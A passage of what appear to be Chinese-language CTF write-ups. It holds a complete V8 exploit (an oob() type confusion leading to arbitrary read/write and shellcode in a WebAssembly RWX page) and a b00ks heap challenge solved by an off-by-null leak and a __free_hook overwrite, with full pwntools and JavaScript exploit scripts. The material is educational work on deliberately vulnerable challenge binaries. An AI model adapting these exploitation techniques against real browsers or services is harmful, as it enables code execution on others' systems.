var float64_arr_map = float64_arr.oob();

function addressOf(target){
obj_arr[0] = target;
obj_arr.oob(float64_arr_map);
let addr = ftoi(obj_arr[0]);
obj_arr.oob(obj_arr_map);
return addr;
}

function fakeObj(addr){
float64_arr[0] = itof(addr);
float64_arr.oob(obj_arr_map);
let ret_obj = float64_arr[0];
float64_arr.oob(float64_arr_map);
return ret_obj;
}

arbitrary read & write primitive

透過 fakeObj() 在 arb_rw_tools - 0x20 偽造 fake_obj
由於 array 內容可控,且 arb_rw_tools[2] 的 address 和 fake_obj 擺放 elements pointer 的 address 相同,可以修改 arb_rw_tools[2] 進行任意讀寫

1
2
3
4
5
6
7
8
9
10
11
12
13
function read64(addr){
if(addr % 2n == 0)addr += 1n;
let fake_obj = fakeObj(arb_tools_addr - 0x20n);
arb_rw_tools[2] = itof(addr - 0x10n);
return ftoi(fake_obj[0]);
}

function write64(addr, value){
if(addr % 2n == 0)addr += 1n;
let fake_obj = fakeObj(arb_tools_addr - 0x20n);
arb_rw_tools[2] = itof(addr - 0x10n);
fake_obj[0] = itof(value);
}

利用 wasm 寫入 shellcode
f->shared_info->data->instance+0x88 存放著 rwx page 的 address,透過 gdb 找出 offset 計算 address,往該地址寫入 shellcode 即可

在嘗試的過程中發現直接使用 write64() 寫入會失敗,一些 writeup 提到失敗的原因與 float array 處理 float 的方式有關,最後使用 dataView 的方式完成寫入 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

addr_f = addressOf(f);
var shared_info_addr = read64(addr_f + 0x18n);
var data_addr = read64(shared_info_addr + 0x8n);
var instance_addr = read64(data_addr + 0x10n);
var rwx_addr = read64(instance_addr + 0x88n);

var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];
var dataview_buffer = new ArrayBuffer(sc_arr.length * 8);
var data_view = new DataView(dataview_buffer);
var buf_backing_store_addr = addressOf(dataview_buffer) + 0x20n

write64(buf_backing_store_addr, rwx_addr);

for(let i = 0; i < sc_arr.length; i++) {
data_view.setFloat64(i * 8, itof(sc_arr[i]), true);
}

f();

完整 exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
// type convert
var buffer = new ArrayBuffer(0x8);
var float64 = new Float64Array(buffer);
var BigUint64 = new BigUint64Array(buffer);

function ftoi(value){
float64[0] = value;
return BigUint64[0];
}

function itof(value){
BigUint64[0] = value;
return float64[0];
}

function hex(value){
return "0x" + value.toString(16);
}

// type confusion
var obj = {"a":1};
var obj_arr = [obj];
var float64_arr = [1.1];
var obj_arr_map = obj_arr.oob();
var float64_arr_map = float64_arr.oob();

function addressOf(target){
obj_arr[0] = target;
obj_arr.oob(float64_arr_map);
let addr = ftoi(obj_arr[0]);
obj_arr.oob(obj_arr_map);
return addr;
}

function fakeObj(addr){
float64_arr[0] = itof(addr);
float64_arr.oob(obj_arr_map);
let ret_obj = float64_arr[0];
float64_arr.oob(float64_arr_map);
return ret_obj;
}

var arb_rw_tools = [float64_arr_map, 1.2, 1.3, 1.4];
var arb_tools_addr = addressOf(arb_rw_tools);

function read64(addr){
if(addr % 2n == 0)addr += 1n;
let fake_obj = fakeObj(arb_tools_addr - 0x20n);
arb_rw_tools[2] = itof(addr - 0x10n);
return ftoi(fake_obj[0]);
}

function write64(addr, value){
if(addr % 2n == 0)addr += 1n;
let fake_obj = fakeObj(arb_tools_addr - 0x20n);
arb_rw_tools[2] = itof(addr - 0x10n);
fake_obj[0] = itof(value);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

addr_f = addressOf(f);
var shared_info_addr = read64(addr_f + 0x18n);
var data_addr = read64(shared_info_addr + 0x8n);
var instance_addr = read64(data_addr + 0x10n);
var rwx_addr = read64(instance_addr + 0x88n);

var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];
var dataview_buffer = new ArrayBuffer(sc_arr.length * 8);
var data_view = new DataView(dataview_buffer);
var buf_backing_store_addr = addressOf(dataview_buffer) + 0x20n

write64(buf_backing_store_addr, rwx_addr);

for(let i = 0; i < sc_arr.length; i++) {
data_view.setFloat64(i * 8, itof(sc_arr[i]), true);
}

f();

成功彈出計算機

Environment

1
2
Ubuntu 16.04
glibc 2.23

Analysis

功能

一個書籍管理系統,具有新增、刪除、更改作者名等功能

保護機制

Reverse Engineering

book struct

此系統用以下的struct保存書籍資訊,並使用一個陣列books儲存每個book中的book_name pointer

1
2
3
4
5
struct book{
char *book_name;
char *book_description;
int description_size;
};

input function

題目使用一個自己實作的輸入函數,會在輸入字串的結尾補上一個null byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 __fastcall input(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( a2 <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == a2 )
break;
}
*buf = 0;
return 0LL;
}

author name

此系統使用一個長度為0x20的陣列author儲存當前的作者名稱,可以發現author[]後面就是books[]

1
2
3
4
5
6
7
8
signed __int64 set_author_name()
{
printf("Enter author name: ");
if ( !(unsigned int)input(author, 32) ) // off by null
return 0LL;
printf("fail to read author_name", 32LL);
return 1LL;
}

Exploit

觀察

  1. 輸入作者時存在off by null,可以先輸入一個長度為0x20的作者名稱,再新增書籍。這樣null byte就會被books[0]最低位覆蓋。透過顯示書籍的功能即可洩漏heap address
  2. 再次輸入長度為0x20的作者名稱,即可覆蓋books[0],使第1個book落在低一點的記憶體位置上

利用思路

  1. 我們可以新增一個大一點的book1,這樣就有機會使book1在被null byte覆蓋後落在原本book1的description,同時新增一個description size屬於unsorted bin範圍的book2並刪除它,方便後續的利用。我們可以使用edit功能在那裡偽造一個fake book來達到任意位址讀寫
  2. 將fake book的description指向book2的description chunk的fd,再透過顯示書籍的功能即可洩漏libc位置

exploit script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

from pwn import *

def send_author_name(author):
p.recvuntil(b'Enter author name: ')
p.sendline(author)

def create(name_size, name, description_size, description):
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'Enter book name size: ')
p.sendline(str(name_size))
p.recvuntil(b'Enter book name (Max 32 chars): ')
p.sendline(name)
p.recvuntil(b'Enter book description size: ')
p.sendline(str(description_size))
p.recvuntil(b'Enter book description: ')
p.sendline(description)

def delete(idx):
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'Enter the book id you want to delete: ')
p.sendline(str(idx))

def edit(idx, description):
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'Enter the book id you want to edit: ')
p.sendline(str(idx))
p.recvuntil(b'Enter new book description: ')
p.sendline(description)

def show():
p.recvuntil(b'> ')
p.sendline(b'4')

def change_author_name(author):
p.recvuntil(b'> ')
p.sendline(b'5')
send_author_name(author)

def exit():
p.recvuntil(b'> ')
p.sendline(b'6')

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process('./b00ks')
elf = ELF('./b00ks')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

# use off by one null to leak heap address
send_author_name(b'a' * 0x20)
create(0x10, b'b', 0x100, b'b') # bool 1
create(0x10, b'a', 0x500, b'a') # book 2
delete(2)
show()
p.recvuntil(b'Author: ')
heap_addr = u64(p.recvline()[0x20:-1] + b'\x00' * 0x2)

# create a fake book in book1 (the offset is found by debugging)
# let the description pointer of fake book points to book 2 fd, leak libc address
# set the size of description bigger (I set it to 0x10000), for further exploitation
edit(1, b'\x00' * (0x100 - 0x40) + p64(0x1) + b'\x00' * 0x8 + p64(heap_addr + 0x50) + p64(0x10000))
change_author_name(b'a' * 0x20)
print(hex(heap_addr))
show()
p.recvuntil(b'Description: ')
main_arena = u64(p.recvline()[:-1] + b'\x00' * 0x2)
libc_base = main_arena - 0x3c4b78
print(hex(libc_base))

create(0x10, b'a' * 0x8, 0x500, b'a')
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4527a

# the description pointer of fake book points to the description of book3
# since we set the size of description of fake chunk to 0x10000, we can control the description pointer of book3
# we can arbitrary write now!
payload1 = b'\x00' * (0x500 + 0x8) + p64(0x21) + p64(0x3) + p64(heap_addr + 0x30) + p64(free_hook)
edit(1, payload1)
edit(3, p64(one_gadget))

# trigger one gadget
delete(1)

p.interactive()